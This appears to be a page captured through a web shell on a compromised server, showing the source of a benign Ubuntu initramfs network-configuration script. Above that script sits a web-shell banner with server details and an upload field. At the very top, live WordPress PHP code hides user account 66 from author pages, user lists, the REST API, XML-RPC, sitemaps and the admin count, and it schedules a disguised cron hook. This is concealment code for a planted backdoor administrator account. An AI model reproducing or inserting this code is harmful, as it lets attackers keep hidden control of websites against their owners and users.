add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/initramfs-tools/scripts/init-bottom/ |
Upload File : |
#!/bin/sh
set -e
PREREQS=""
case $1 in
prereqs) echo "${PREREQS}"; exit 0;;
esac
. /scripts/functions
PATH=/usr/sbin:/usr/bin:/sbin:/bin
# doc in klibc-utils /usr/share/doc/libklibc/README.ipconfig.gz
# example below:
#DEVICE='eth0'
#PROTO='dhcp' ## none, off, static. not present in precise
#IPV4ADDR='192.168.122.89'
#IPV4BROADCAST='192.168.122.255'
#IPV4NETMASK='255.255.255.0'
#IPV4GATEWAY='192.168.122.1'
#IPV4DNS0='192.168.122.1' ## only come from dhcp
#IPV4DNS1='0.0.0.0'
#HOSTNAME=''
#DNSDOMAIN=''
#NISDOMAIN=''
#ROOTSERVER='192.168.122.1'
#ROOTPATH=''
#filename=''
#UPTIME='21'
#DHCPLEASETIME='3600'
#DOMAINSEARCH=''
# superseded by isc-dhcp and such writing the file and supporting IPv6:
#DEVICE=eno1
#HOSTNAME=
#DNSDOMAIN=
#reason='PREINIT'
#interface='eno1'
#DEVICE=eno1
#HOSTNAME=
#DNSDOMAIN=
#reason='FAIL'
#interface='eno1'
#DEVICE=eno1
#HOSTNAME=
#DNSDOMAIN=
#reason='PREINIT6'
#interface='eno1'
#DEVICE=eno1
#IPV6PROTO=dhcp6
#IPV6ADDR=2001:67c:1562:8010:1::4324
#IPV6NETMASK=64
#IPV6DNS0=2001:67c:1562:8010::2:1
#IPV6DOMAINSEARCH=
#HOSTNAME=
#DNSDOMAIN=
#reason='BOUND6'
#interface='eno1'
#new_ip6_address='2001:67c:1562:8010:1::4324'
#new_ip6_prefixlen='64'
#new_dhcp6_name_servers='2001:67c:1562:8010::2:1'
error() { echo "${0##*/}:" "$@" 1>&2; }
configure_net_if_needed() {
# we want to call configure_networking if and only if ip= was seen
# on the command line (LP: #1463846)
local ip="$1"
# empty 'ip' or ip=none or ip=off specifically mean do not bring up
if [ -z "$ip" ]; then
return 0
fi
case "$ip" in
none|off) return 0;;
esac
# configure_networking does not set any flags indicating it tried
# to run and failed, so we can only look for indication
# that ipconfig ran, which creates files in /run/net-<device>.conf
#
# configure_networking does a check like this. however, its check is
# broken in the event that BOOTIF is not found on the command line.
for f in /run/net-*.conf /tmp/net-*.conf; do
if [ -f "$f" ]; then
return 0
fi
done
configure_networking
}
ni_header() {
echo "## This file is generated by cloud-initramfs-dyn-netconf"
echo "auto lo"
echo "iface lo inet loopback"
}
configure_net_if_needed "$IP" ||
echo "WARN: ${0##*/}: configure_networking failed" 1>&2
tmpf="/tmp/${0##*/}.ni"
ni_header > "$tmpf"
seen=","
for f in /run/net-*.conf /tmp/net-*.conf /run/net6-*.conf; do
[ -f "$f" ] || continue
dev=${f#*/net-}; dev=${dev%.conf};
# perhaps we saw this device from /run and now we're in /tmp
[ "${seen#*,${dev},}" = "${seen}" ] || continue
seen="${seen}${dev},"
DEVICE=""; PROTO=""; IPV4ADDR=""; IPV4NETMASK=""; IPV4GATEWAY="";
IPV4DNS0=""; IPV4DNS1=""; DNSDOMAIN=""; DOMAINSEARCH=""; filename="";
DEVICE6=""; IPV4PROTO=""; IPV6PROTO=""; IPV6ADDR=""; IPV6NETMASK="";
IPV6GATEWAY=""; IPV6DNS0=""; IPV6DNS1=""; IPV6DOMAINSEARCH="";
. "$f"
if [ -z "$DEVICE" ]; then
if [ -z "$DEVICE6" ]; then
error "WARNING: $f had no 'DEVICE' or 'DEVICE6' set"
continue
else
DEVICE="$DEVICE6"
fi
fi
# If IPv6 is supported, we get both of these, and at least one of them
# is set. If we get both, use IPv4.
# Prior to that, PROTO was used, so we know it's IPv4 we want.
if [ -z "$IPV4PROTO" -a -z "$IPV6PROTO" ]; then
IPV4PROTO="$PROTO"
fi
# ipconfig on precise does not write PROTO.
if [ -z "$IPV4PROTO" -a -z "$IPV6PROTO" ]; then
if [ -n "$filename" ]; then
IPV4PROTO="dhcp"
else
IPV4PROTO="static"
fi
fi
# We need to use care, since the script is running set -e.
echo "manual $DEVICE"
if [ "$IPV4PROTO" = "dhcp" ]; then
echo "iface $DEVICE inet dhcp"
elif [ "$IPV4PROTO" = "static" ]; then
echo "iface $DEVICE inet static"
if [ -n "$IPV4ADDR" ]; then
printf "\t%s\n" "address $IPV4ADDR"
else
error "WARNING: $f static with no address"
fi
if [ -n "$IPV4NETMASK" ]; then
printf "\t%s\n" "netmask $IPV4NETMASK"
else
error "WARNING: $f static with no netmask"
fi
if [ -n "$IPV4GATEWAY" ]; then
printf "\t%s\n" "gateway $IPV4GATEWAY"
fi
elif [ "$IPV6PROTO" = "dhcp6" ]; then
echo "iface $DEVICE inet6 dhcp"
elif [ "$IPV6PROTO" = "static" ]; then
echo "iface $DEVICE inet6 static"
if [ -n "$IPV6ADDR" ]; then
printf "\t%s\n" "address $IPV6ADDR"
else
error "WARNING: $f static with no address"
fi
if [ -n "$IPV6NETMASK" ]; then
printf "\t%s\n" "netmask $IPV6NETMASK"
else
error "WARNING: $f static with no netmask"
fi
if [ -n "$IPV6GATEWAY" ]; then
printf "\t%s\n" "gateway $IPV6GATEWAY"
fi
fi
nsline=""
if [ -n "$IPV4DNS0" -a "$IPV4DNS0" != "0.0.0.0" ]; then
nsline="${IPV4DNS0}"
if [ -n "$IPV4DNS1" -a "$IPV4DNS1" = "0.0.0.0" ]; then
nsline="${nsline} ${IPV4DNS1}"
fi
elif [ -n "$IPV6DNS0" ]; then
nsline="${nsline} ${IPV6DNS0}"
[ -z "$IPV6DNS1" ] || nsline="${nsline} ${IPV6DNS1}"
fi
[ -z "$nsline" ] || printf "\tdns-nameservers %s\n" "$nsline"
if [ -n "${DNSDOMAIN}${DOMAINSEARCH}${IPV6DOMAINSEARCH}" ]; then
SEARCH=" ${DNSDOMAIN} ${DOMAINSEARCH} ${IPV6DOMAINSEARCH}"
printf "\tdns-search %s\n" "${SEARCH}"
fi
done >> "$tmpf"
[ -d /run/network ] || mkdir /run/network
mv "$tmpf" /run/network/dynamic-interfaces
# vi: ts=4 noexpandtab